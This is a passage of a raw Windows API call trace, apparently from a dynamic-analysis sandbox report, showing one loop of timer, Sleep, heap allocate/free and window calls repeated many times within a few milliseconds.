timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.269] timeGetTime () returned 0x1143572 [0033.269] Sleep (dwMilliseconds=0x0) [0033.269] GetProcessHeap () returned 0x790000 [0033.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.269] GetProcessHeap () returned 0x790000 [0033.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.269] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.269] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.269] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.269] timeGetTime () returned 0x1143572 [0033.269] Sleep (dwMilliseconds=0x0) [0033.269] GetProcessHeap () returned 0x790000 [0033.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.269] GetProcessHeap () returned 0x790000 [0033.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.269] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.269] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.269] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.269] timeGetTime () returned 0x1143572 [0033.269] Sleep (dwMilliseconds=0x0) [0033.269] GetProcessHeap () returned 0x790000 [0033.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.269] GetProcessHeap () returned 0x790000 [0033.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.269] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.269] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.269] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.269] timeGetTime () returned 0x1143572 [0033.269] Sleep (dwMilliseconds=0x0) [0033.269] GetProcessHeap () returned 0x790000 [0033.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.269] GetProcessHeap () returned 0x790000 [0033.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.269] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.269] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.269] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.269] timeGetTime () returned 0x1143572 [0033.270] Sleep (dwMilliseconds=0x0) [0033.270] GetProcessHeap () returned 0x790000 [0033.270] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.270] GetProcessHeap () returned 0x790000 [0033.270] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.270] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.270] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.270] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.270] timeGetTime () returned 0x1143572 [0033.270] Sleep (dwMilliseconds=0x0) [0033.270] GetProcessHeap () returned 0x790000 [0033.270] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.270] GetProcessHeap () returned 0x790000 [0033.270] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.270] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.270] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.270] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.270] timeGetTime () returned 0x1143572 [0033.270] Sleep (dwMilliseconds=0x0) [0033.270] GetProcessHeap () returned 0x790000 [0033.270] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.270] GetProcessHeap () returned 0x790000 [0033.270] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.270] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.270] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.270] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.270] timeGetTime () returned 0x1143572 [0033.270] Sleep (dwMilliseconds=0x0) [0033.270] GetProcessHeap () returned 0x790000 [0033.270] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.270] GetProcessHeap () returned 0x790000 [0033.270] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.270] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.270] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.270] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.270] timeGetTime () returned 0x1143572 [0033.271] Sleep (dwMilliseconds=0x0) [0033.271] GetProcessHeap () returned 0x790000 [0033.271] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.271] GetProcessHeap () returned 0x790000 [0033.271] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.271] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.271] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.271] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.271] timeGetTime () returned 0x1143572 [0033.271] Sleep (dwMilliseconds=0x0) [0033.271] GetProcessHeap () returned 0x790000 [0033.271] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.271] GetProcessHeap () returned 0x790000 [0033.271] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.271] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.271] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.271] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.271] timeGetTime () returned 0x1143572 [0033.271] Sleep (dwMilliseconds=0x0) [0033.271] GetProcessHeap () returned 0x790000 [0033.271] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.271] GetProcessHeap () returned 0x790000 [0033.271] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.271] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.271] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.271] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.271] timeGetTime () returned 0x1143572 [0033.271] Sleep (dwMilliseconds=0x0) [0033.271] GetProcessHeap () returned 0x790000 [0033.271] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.271] GetProcessHeap () returned 0x790000 [0033.271] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.271] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.271] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.271] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.271] timeGetTime () returned 0x1143572 [0033.271] Sleep (dwMilliseconds=0x0) [0033.272] GetProcessHeap () returned 0x790000 [0033.272] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.272] GetProcessHeap () returned 0x790000 [0033.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.272] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.272] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.272] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.272] timeGetTime () returned 0x1143572 [0033.272] Sleep (dwMilliseconds=0x0) [0033.272] GetProcessHeap () returned 0x790000 [0033.272] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.272] GetProcessHeap () returned 0x790000 [0033.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.272] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.272] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.272] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.272] timeGetTime () returned 0x1143572 [0033.272] Sleep (dwMilliseconds=0x0) [0033.272] GetProcessHeap () returned 0x790000 [0033.272] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.272] GetProcessHeap () returned 0x790000 [0033.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.272] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.272] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.272] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.272] timeGetTime () returned 0x1143572 [0033.272] Sleep (dwMilliseconds=0x0) [0033.272] GetProcessHeap () returned 0x790000 [0033.272] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.272] GetProcessHeap () returned 0x790000 [0033.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.272] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.272] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.272] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.272] timeGetTime () returned 0x1143572 [0033.272] Sleep (dwMilliseconds=0x0) [0033.273] GetProcessHeap () returned 0x790000 [0033.273] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.273] GetProcessHeap () returned 0x790000 [0033.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.273] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.273] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.273] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.273] timeGetTime () returned 0x1143572 [0033.273] Sleep (dwMilliseconds=0x0) [0033.273] GetProcessHeap () returned 0x790000 [0033.273] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.273] GetProcessHeap () returned 0x790000 [0033.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.273] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.273] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.273] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.273] timeGetTime () returned 0x1143572 [0033.273] Sleep (dwMilliseconds=0x0) [0033.273] GetProcessHeap () returned 0x790000 [0033.273] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.273] GetProcessHeap () returned 0x790000 [0033.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.273] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.273] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.273] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.273] timeGetTime () returned 0x1143572 [0033.273] Sleep (dwMilliseconds=0x0) [0033.273] GetProcessHeap () returned 0x790000 [0033.273] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.273] GetProcessHeap () returned 0x790000 [0033.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.273] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.273] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.273] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.273] timeGetTime () returned 0x1143572 [0033.273] Sleep (dwMilliseconds=0x0) [0033.274] GetProcessHeap () returned 0x790000 [0033.274] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.274] GetProcessHeap () returned 0x790000 [0033.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.274] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.274] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.274] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.274] timeGetTime () returned 0x1143572 [0033.274] Sleep (dwMilliseconds=0x0) [0033.274] GetProcessHeap () returned 0x790000 [0033.274] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.274] GetProcessHeap () returned 0x790000 [0033.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.274] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.274] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.274] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.274] timeGetTime () returned 0x1143572 [0033.274] Sleep (dwMilliseconds=0x0) [0033.274] GetProcessHeap () returned 0x790000 [0033.274] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.274] GetProcessHeap () returned 0x790000 [0033.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.274] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.274] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.274] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.274] timeGetTime () returned 0x1143572 [0033.274] Sleep (dwMilliseconds=0x0) [0033.274] GetProcessHeap () returned 0x790000 [0033.274] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.274] GetProcessHeap () returned 0x790000 [0033.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.274] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.274] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.274] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.274] timeGetTime () returned 0x1143572 [0033.274] Sleep (dwMilliseconds=0x0) [0033.275] GetProcessHeap () returned 0x790000 [0033.275] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.275] GetProcessHeap () returned 0x790000 [0033.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.275] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.275] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.275] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.275] timeGetTime () returned 0x1143572 [0033.275] Sleep (dwMilliseconds=0x0) [0033.275] GetProcessHeap () returned 0x790000 [0033.275] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.275] GetProcessHeap () returned 0x790000 [0033.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.275] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.275] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.275] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.275] timeGetTime () returned 0x1143572 [0033.275] Sleep (dwMilliseconds=0x0) [0033.275] GetProcessHeap () returned 0x790000 [0033.275] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.275] GetProcessHeap () returned 0x790000 [0033.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.275] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.275] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.275] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.275] timeGetTime () returned 0x1143572 [0033.275] Sleep (dwMilliseconds=0x0) [0033.275] GetProcessHeap () returned 0x790000 [0033.275] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.275] GetProcessHeap () returned 0x790000 [0033.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.275] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.275] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.275] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.275] timeGetTime () returned 0x1143572 [0033.275] Sleep (dwMilliseconds=0x0) [0033.276] GetProcessHeap () returned 0x790000 [0033.276] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.276] GetProcessHeap () returned 0x790000 [0033.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.276] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.276] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.276] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.276] timeGetTime () returned 0x1143572 [0033.276] Sleep (dwMilliseconds=0x0) [0033.276] GetProcessHeap () returned 0x790000 [0033.276] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.276] GetProcessHeap () returned 0x790000 [0033.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.276] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.276] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.276] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.276] timeGetTime () returned 0x1143572 [0033.276] Sleep (dwMilliseconds=0x0) [0033.276] GetProcessHeap () returned 0x790000 [0033.276] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.276] GetProcessHeap () returned 0x790000 [0033.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.276] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.276] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.276] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.276] timeGetTime () returned 0x1143572 [0033.276] Sleep (dwMilliseconds=0x0) [0033.276] GetProcessHeap () returned 0x790000 [0033.276] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.276] GetProcessHeap () returned 0x790000 [0033.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.276] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.276] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.276] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.276] timeGetTime () returned 0x1143572 [0033.276] Sleep (dwMilliseconds=0x0) [0033.276] GetProcessHeap () returned 0x790000 [0033.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.277] GetProcessHeap () returned 0x790000 [0033.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.277] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.277] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.277] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.277] timeGetTime () returned 0x1143572 [0033.277] Sleep (dwMilliseconds=0x0) [0033.277] GetProcessHeap () returned 0x790000 [0033.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.277] GetProcessHeap () returned 0x790000 [0033.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.277] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.277] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.277] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.277] timeGetTime () returned 0x1143572 [0033.277] Sleep (dwMilliseconds=0x0) [0033.277] GetProcessHeap () returned 0x790000 [0033.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.277] GetProcessHeap () returned 0x790000 [0033.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.277] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.277] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.277] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.277] timeGetTime () returned 0x1143572 [0033.277] Sleep (dwMilliseconds=0x0) [0033.277] GetProcessHeap () returned 0x790000 [0033.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.277] GetProcessHeap () returned 0x790000 [0033.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.277] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.277] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.277] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.277] timeGetTime () returned 0x1143572 [0033.277] Sleep (dwMilliseconds=0x0) [0033.277] GetProcessHeap () returned 0x790000 [0033.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.278] GetProcessHeap () returned 0x790000 [0033.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.278] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.278] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.278] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.278] timeGetTime () returned 0x1143572 [0033.278] Sleep (dwMilliseconds=0x0) [0033.278] GetProcessHeap () returned 0x790000 [0033.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.278] GetProcessHeap () returned 0x790000 [0033.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.278] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.278] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.278] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.278] timeGetTime () returned 0x1143572 [0033.278] Sleep (dwMilliseconds=0x0) [0033.278] GetProcessHeap () returned 0x790000 [0033.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.278] GetProcessHeap () returned 0x790000 [0033.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.278] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.278] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.278] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.278] timeGetTime () returned 0x1143572 [0033.278] Sleep (dwMilliseconds=0x0) [0033.278] GetProcessHeap () returned 0x790000 [0033.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.278] GetProcessHeap () returned 0x790000 [0033.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.278] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.278] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.278] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.278] timeGetTime () returned 0x1143572 [0033.278] Sleep (dwMilliseconds=0x0) [0033.278] GetProcessHeap () returned 0x790000 [0033.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.279] GetProcessHeap () returned 0x790000 [0033.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.279] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.279] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.279] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.279] timeGetTime () returned 0x1143572 [0033.279] Sleep (dwMilliseconds=0x0) [0033.279] GetProcessHeap () returned 0x790000 [0033.279] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.279] GetProcessHeap () returned 0x790000 [0033.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.279] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.279] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.279] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.279] timeGetTime () returned 0x1143581 [0033.279] Sleep (dwMilliseconds=0x0) [0033.279] GetProcessHeap () returned 0x790000 [0033.279] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.279] GetProcessHeap () returned 0x790000 [0033.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.279] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.279] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.279] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.279] timeGetTime () returned 0x1143581 [0033.279] Sleep (dwMilliseconds=0x0) [0033.280] GetProcessHeap () returned 0x790000 [0033.280] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.280] GetProcessHeap () returned 0x790000 [0033.280] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.280] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.280] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.280] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.280] timeGetTime () returned 0x1143581 [0033.280] Sleep (dwMilliseconds=0x0) [0033.280] GetProcessHeap () returned 0x790000 [0033.280] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.280] GetProcessHeap () returned 0x790000 [0033.280] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.280] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.280] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.280] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.280] timeGetTime () returned 0x1143581 [0033.280] Sleep (dwMilliseconds=0x0) [0033.280] GetProcessHeap () returned 0x790000 [0033.280] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.280] GetProcessHeap () returned 0x790000 [0033.280] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.280] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.280] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.280] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.280] timeGetTime () returned 0x1143581 [0033.280] Sleep (dwMilliseconds=0x0) [0033.280] GetProcessHeap () returned 0x790000 [0033.280] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.280] GetProcessHeap () returned 0x790000 [0033.280] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.280] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.280] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.280] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.280] timeGetTime () returned 0x1143581 [0033.280] Sleep (dwMilliseconds=0x0) [0033.281] GetProcessHeap () returned 0x790000 [0033.281] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.281] GetProcessHeap () returned 0x790000 [0033.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.281] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.281] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.281] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.281] timeGetTime () returned 0x1143581 [0033.281] Sleep 